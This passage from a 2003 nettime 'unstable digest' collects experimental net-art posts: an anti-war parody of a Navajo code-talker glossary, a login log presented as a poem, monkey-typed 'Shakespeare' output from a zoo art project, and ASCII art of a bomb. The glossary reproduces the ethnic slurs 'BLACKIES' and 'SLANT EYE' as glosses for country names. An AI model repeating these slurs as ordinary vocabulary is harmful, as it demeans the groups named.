covers\n>< courteous           ><       ><   belong just       >< >< What         ><\n><   ><   >< We       ><           ><   ><   >< want     >< ><         ><\n>< >< welcome.       ><         ><       ><     ><     ><         >< >< ><\n><         >< ><     ><         ><       ><     ><         ><     ><         ><\n><     ><                   ><       ><   ><                 ><         ><\n>< ><     ><     ><           ><       ><       ><   ><               >< >< ><\n>< ><       ><           >< ><       ><   ><         ><           ><\n><               ><             ><     ><       ><         ><\n\n\n\nDate:         Mon, 17 Mar 2003 09:33:57 -0800\nFrom: solipsis <solipsis {AT} HEVANET.COM>\nSubject: CodeTalker to Dubbya0Dubbya03:\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\n\nCodeTalker to Dubbya0Dubbya03:\nhttp://www.history.navy.mil/faqs/faq61-4.htm\n\n/ Weasle-Ant-Rabbit / Snake-Uncle-Coal-Kettle-Snake / (war-sucks)\n\nBIH-KEH-HE TKELE-CHO-G A-KHA YIL-DOI CHINDI\n(Big Chief Jackass Oil Jerk Devil)\n\nYAH-A-DA-HAL-YON-IH (Take care of)\nCHIDI-BI-TOH (Gasoline)\n\n(Needle-Oil) TSAH-A-KHA / NAZ-TSAID (No / Kill)\n(Nose-Onion) A-CHIN-TLO-CHIN-NAZ-TSAID (No / Kill)\n(Needle-Oil) TSAH-A-KHA / NAZ-TSAID (No / Kill)\n(Nose-Onion) A-CHIN-TLO-CHIN-NAZ-TSAID (No / Kill)\n(Needle-Oil) TSAH-A-KHA / NAZ-TSAID (No / Kill)\n(Nose-Onion) A-CHIN-TLO-CHIN-NAZ-TSAID (No / Kill)\n\n\nINSTALLATION        NAS-NIL          IN PLACE\nbesh- lo dah-he- tih-hi (submarine-fighter-plane)\ndebeh-li-zine (squadron)\ndebeh-li-zine (squadron)\ndebeh-li-zine (squadron)\ndebeh-li-zine (squadron)\n\nINSTALLATION        NAS-NIL          IN PLACE\nbesh- lo dah-he- tih-hi (submarine-fighter-plane)\ndebeh-li-zine (squadron)\ndebeh-li-zine (squadron)\ndebeh-li-zine (squadron)\ndebeh-li-zine (squadron)\n\nCurse:\n\nPro-log-chanson (repeat):\nFAIL            CHA-AL-EIND                 FAIL\nFAILURE         YEES-GHIN                   FAILURE\nDELAY           BE-SITIHN                   DEER LAY\n\nTokenBodies-of-Lamentation:\nAFRICA          ZHIN-NI                     BLACKIES\nALASKA          BEH-HGA                     WITH WINTER\nAMERICA         NE-HE-MAH                   OUR MOTHER\nAUSTRALIA       CHA-YES-DESI                ROLLED HAT\nBRITAIN         TOH-TA                      BETWEEN WATERS\nCHINA           CEH-YEHS-BESI               BRAIDED HAIR\nFRANCE          DA-GHA-HI                   BEARD\nGERMANY         BESH-BE-CHA-HE              IRON HAT\nICELAND         TKIN-KE-YAH                 ICE LAND\nINDIA           AH-LE-GAI                   WHITE CLOTHES\nITALY           DOH-HA-CHI-YALI-TCHI        STUTTER\nJAPAN           BEH-NA-ALI-TSOSIE           SLANT EYE\nPHILIPPINE      KE-YAH-DA-NA-LHE            FLOATING ISLAND\nRUSSIA          SILA-GOL-CHI-IH             RED ARMY\nSOUTH AMERICA   SHA-DE-AH-NE-HI-MAH         SOUTH OUR MOTHER\nSPAIN           DEBA-DE-NIH                 SHEEP PAIN\n\n\n\n\n\n\n\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: ROOT BERM\nDate: Sat, 22 Mar 2003 02:38:11 -0500 (EST)\n\n\n\n\nROOT BERM\n\n\nsand      console  desert-slaughter Fri Mar 21 15:17 - 15:42  (00:25)\nsand      ttyp1                     Fri Mar 21 00:16 - shutdown  (01:02)\nsand      ttyp1                     Fri Mar 21 00:16 - 00:16  (00:00)\nsand      ttyp1                     Fri Mar 21 00:16 - 00:16  (00:00)\nsand      ttyp1                     Fri Mar 21 00:16 - 00:16  (00:00)\nsand      console  desert-slaughter Fri Mar 21 00:15 - 00:16  (00:01)\nsand      console  desert-slaughter Thu Mar 20 21:22 - 21:40  (00:17)\nsand      ttyp1                     Fri Jan 24 00:58 - crash  (00:26)\nsand      console  localhost        Fri Jan 24 00:57 - crash  (00:26)\nsand      ttyp1                     Thu Jan 23 23:50 - shutdown  (00:00)\nsand      console  localhost        Thu Jan 23 23:49 - shutdown  (00:01)\nsand      ttyp1                     Wed Jan 22 17:22 - shutdown  (00:00)\nsand      ttyp1                     Wed Jan 22 17:07 - 17:22  (00:14)\nsand      console  localhost        Wed Jan 22 17:06 - shutdown  (00:15)\nsand      console  localhost        Wed Jan 22 16:58 - 16:58  (00:00)\nsand      console  localhost        Wed Jan 22 16:33 - 16:34  (00:01)\nsand      ttyp1                     Sat Aug 24 04:02 - crash  (08:31)\nsand      ttyp1                     Sat Aug 24 03:59 - 04:02  (00:02)\nsand      console  localhost        Sat Aug 24 03:59 - 04:02  (00:03)\nsand      ttyp1                     Sat Aug 24 03:54 - 03:59  (00:04)\nsand      ttyp1                     Sat Aug 24 03:48 - 03:54  (00:06)\nsand      console  localhost        Sat Aug 24 03:48 - 03:57  (00:09)\nsand      ttyp1                     Sat Aug 24 03:12 - crash  (00:13)\nsand      console  localhost        Sat Aug 24 03:12 - crash  (00:14)\nsand      ttyp1                     Fri Aug 23 23:03 - crash  (01:08)\nsand      console  localhost        Fri Aug 23 22:56 - 23:28  (00:31)\nsand      console  localhost        Thu Aug 22 23:37 - 23:43  (00:05)\n\nwtmp begins Thu Aug 22 23:37\n\n\n===\n\n\nDate: Mon, 17 Mar 2003 16:36:45 +0000\nSubject: Notes Towards the Complete Works of Shakespeare\nFrom: geoffcox <geoff {AT} generative.net>\nTo: Florian Cramer <cantsin {AT} zedat.fu-berlin.de>\n\nFlorian \nwould you be interested in this for the 'Unstable Digest'\n[by way of Geoff Cox]\n-- \n\nFrom: Elmo, Gum, Heather, Holly, Mistletoe & Rowan\nSubject: Notes Towards the Complete Works of Shakespeare\n\n\n[1 - English version]\n\nNOTES TOWARDS THE COMPLETE WORKS OF SHAKESPEARE\n\nBY \nELMO, GUM, HEATHER, HOLLY, MISTLETOE & ROWAN\nSULAWESI CRESTED MACAQUES (MACACA NIGRA)\nFROM PAIGNTON ZOO ENVIRONMENTAL PARK (UK)\n\nFIRST PUBLISHED FOR [VIVARIA.NET] IN 2002\n<http://www.vivaria.net>\n\n ff        \nvvvvvvvpppsssggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg\ngggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg\ngggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg\ngggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg\ngggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggsssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssghhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhsssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nsssssssssssssssssssssssssssssssssssssggggggggggggggggggggggggggggggggggggggg\ngggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg\ngggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nsssssssssssssssssssssssssssssssssssssssssssssssssqsqqqqqqsqqqqqqqqqqqqqqqqqq\nqqqqqqqqqqqqqqqqqaqqqqqqqqqqqqqqqqqaqqqqqqqqqqqqqqqqqaqaaaqaaaaaqaaqqqqqqqqq\nqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\nqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\nqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\nqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\nqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\nqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\nqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\nqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\nqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\nqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\nqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\nqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\nqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\nqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\nqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\nqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqaqaqqaaaaaaaaaaaaaaaaaaaaaaaqaaaq\naaqaqaaaaaaqqaaaaaaaaaqaaqaaaaaaaaaaqqqqaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaq\naaaaqqqaaaaaqaaqqaaaaqaaaaaaaaaaaaaaaaaaaaqaaaaqaaqaaaaaaaaaaaaaaaaaqaaaaqaa\naaqqqaaaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaldvvvvvvnvvvvvvvvvacvvvvvvvvjkjsssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssaaavalavgggggggggggggvvassssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\nsssssssssssssssssssssssssssssssssnaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaasssssssssssssssssfssssfhgggggggsssassfssssssgg\ngggggaaavmlvvssajjjlssssssssssssssssajjjajaajjsssssaaaaaaaaaaaaavvjjjjlajjjj\njaaaaaajjjjjjjajjjjjjjdjjajjjjjjjjjjjjjjjjjjaajjjjjjjjjjjjjjaaaaaaaaaajjjjjj\njajajjjjjjjaajjjjjjjjjjjjjbjmmslllggmmlljjmmmmmmnjjjnvvvnbvvmmllnknnbmmmmlll\nlllllllllllllllllllllllllblbbbbnnfllmnnmjfgmnmmmassssssjjkbhnmnn\n\nABOUT THE PROJECT\n\n'Notes Towards the Complete Works of Shakespeare' were produced in response\nto the familiar idea that if an infinite number of monkeys are given\ntypewriters for an infinite amount of time, they will eventually produce the\ncomplete works of Shakespeare. It was translated to a computer environment,\nproducing live updates published on the web, alongside a webcam view of the\nproduction scene showing the creative activity in its fuller context.\nThe text was first produced in Paignton Zoo by a group of Sulawesi Macaque\nmonkeys as their contribution to the exhibition GENERATOR (1 May \u00ad 22 June\n2002, Spacex Gallery), curated by SPACEX & STAR, and supported by the\nNational Touring Programme of the Arts Council of England and the Institute\nof Digital Art & Technology. The project forms part of a research stage of\n[VIVARIA.NET] also funded by the Arts Council of England.\nThanks to the monkeys, keepers and staff at Paignton Zoo for their help in\nthe production of this work.\nhttp://www.vivaria.net/\n-\n\n-\n\nPDF versions of the publication:\nhttp://www.vivaria.net/experiments/notes/publication/\n\nFurther documentation is available at:\nhttp://www.vivaria.net/experiments/notes/documentation/\n\nPublication:\n'Notes Towards the Complete Works of Shakespeare' by Elmo, Gum, Heather,\nHolly, Mistletoe and Rowan, Sulawesi Crested Macaques (Macaca\nNigra) from Paignton Zoo Environmental Park (UK), first published for\n[VIVARIA.NET] in 2002, Produced by STAR in collaboration with limbomedia,\nSignwave & Book Works, Book & accompanying DVD published by Kahve-Society &\nLiquid Press (i-DAT) in a limited edition of 100, Copyright &copy; the\nauthors, 2002, ISBN 0-9541181-2-X, Price: 25 UK pounds.\nBuy it online:\nhttp://www.kahve-house.com/society/shop/\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: MOAB <\nDate: Tue, 18 Mar 2003 21:55:03 -0500 (EST)\n\n\n\n\nMOAB\n\n\n####   ####\n####   ####\n####   ####\n####   ####\n###########################################################################\n###########################################################################\n###########################################################################\n###########################################################################\n####     ##################\n####       ########################\n####  #############################\n####     ##################################\n   ########################################\n      #############################################\n#################################################\n   #################################################\n      #################################################\n #################################################\n    ################################################\n      #################################################\n ################################################\n   #################################################\n###############################################\n    #####################################\n  ##########################\n###################\n      ###################\n    ###################\n  ###################\n###################\n      ###################\n    ###################\n####      ##################\n####    ##################\n####  ##################\n###################\n###########################################################################\n###########################################################################\n###########################################################################\n###########################################################################\n###########################################################################\n###########################################################################\n###########################################################################\n###########################################################################\n###########################################################################\n####   ####\n####   ####\n####   ####\n####   ####\n\n #########################\n   #####################################\n       #############################################\n    ###################################################\n #########################################################\n       #############################################################\n     #################################################################\n   #####################################################################\n #########################################################################\n##################### #####################\n      ##################   ##################\n     ##############     ##############\n    ###########     ###########\n   ########## ##########\n  ########       ########\n  ######   ######\n ######     ######\n #####       #####\n##### #####\n##### #####\n####   ####\n####   ####\n####   ####\n####   ####\n##### #####\n##### #####\n #####       #####\n ######     ######\n  ######   ######\n  ########       ########\n   ########## ##########\n    ###########     ###########\n     ##############     ##############\n      ##################   ##################\n##################### #####################\n #########################################################################\n   #####################################################################\n     #################################################################\n       #############################################################\n #########################################################\n    ###################################################\n       #############################################\n   #####################################\n #########################\n\n####\n####\n####\n####\n#####\n########\n############\n################\n####   ############\n####       ############\n####  #############\n####      #############\n      #############\n  ############\n    ##############\n    ####  ############\n    ####      ############\n    ####  ############\n    ####     #############\n    #### #############\n    ####     #############\n    #### #############\n    ####     ############\n    #### ############\n    ####  ###############\n    ####       ######################\n    ####   ##############################\n    ####       ####################################\n    ####   ######################################\n    ####       ######################################\n    ####   ######################################\n    #########################################\n    ####    #####################################\n    #########################################\n    #####################################\n######################################\n##########################################\n####    ######################################\n##########################################\n####    #######################################\n###########################################\n#######################################\n###################################\n###############################\n###########################\n########################\n####################\n################\n############\n########\n#####\n####\n####\n####\n####\n\n####   ####\n####   ####\n####   ####\n####   ####\n###########################################################################\n###########################################################################\n###########################################################################\n###########################################################################\n###########################################################################\n###########################################################################\n###########################################################################\n###########################################################################\n###########################################################################\n####      #### ####\n####      #### ####\n####      #### ####\n####      #### ####\n####      #### ####\n####      #### ####\n####      #### ####\n####      #### ####\n####      #### ####\n####      #### ####\n####      #####       #####\n#####    ######       #####\n#####    ######       #####\n######  ########     ######\n ###############     ######\n #######      ###########   ######\n ########    ##############       ########\n  ########  ################     #########\n  ############################ ##########\n   ##########    ########################   #############\n   #############      ############   ###################################\n    ################      ###############     #############################\n     ###########################################       ####################\n      ######################################### ###########################\n       #######################################    #########################\n#####################################       #####################\n  #################################    ###############\n    ############################# #########\n       ########################\n   ################\n\n\n\n===\n\n\n\n\nnettime unstable digest vol 39\nTue Mar 25 18:31:51 2003\n\n\nSubject: [Reader-list] war.pl\n    From: Harwood <Harwood {AT} scotoma.org>\n    To: reader-list {AT} mail.sarai.net\n\nSubject: no subject\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\n\nSubject: bismillah\n    From: solipsis <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: _Come_2_Data_ [Anglospherical Engineering] \n    From: \"a][nti][nglo.cubic\" <netwurker {AT} hotkey.net.au>\n    To: imitationpoetics {AT} listserv.unc.edu, nettime-l {AT} bbs.thing.net\n\nSubject: Intertextualities 01\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: POETICS {AT} LISTSERV.BUFFALO.EDU\n\nSubject: CodeTalker to Dubbya0Dubbya03:\n    From: solipsis <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: ROOT BERM\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: Notes Towards the Complete Works of Shakespeare\n    From: geoffcox <geoff {AT} generative.net>\n    To: Florian Cramer <cantsin {AT} zedat.fu-berlin.de>\n\nSubject: MOAB <\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\n\n\nlurking editors\n\nbeatrice beaubien <i2eye {AT} mac.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0303/msg00131.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 39",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "follow-up": [
                    {
                        "from": "Dan Sheetz <dan {AT} goodfoodpro.com>",
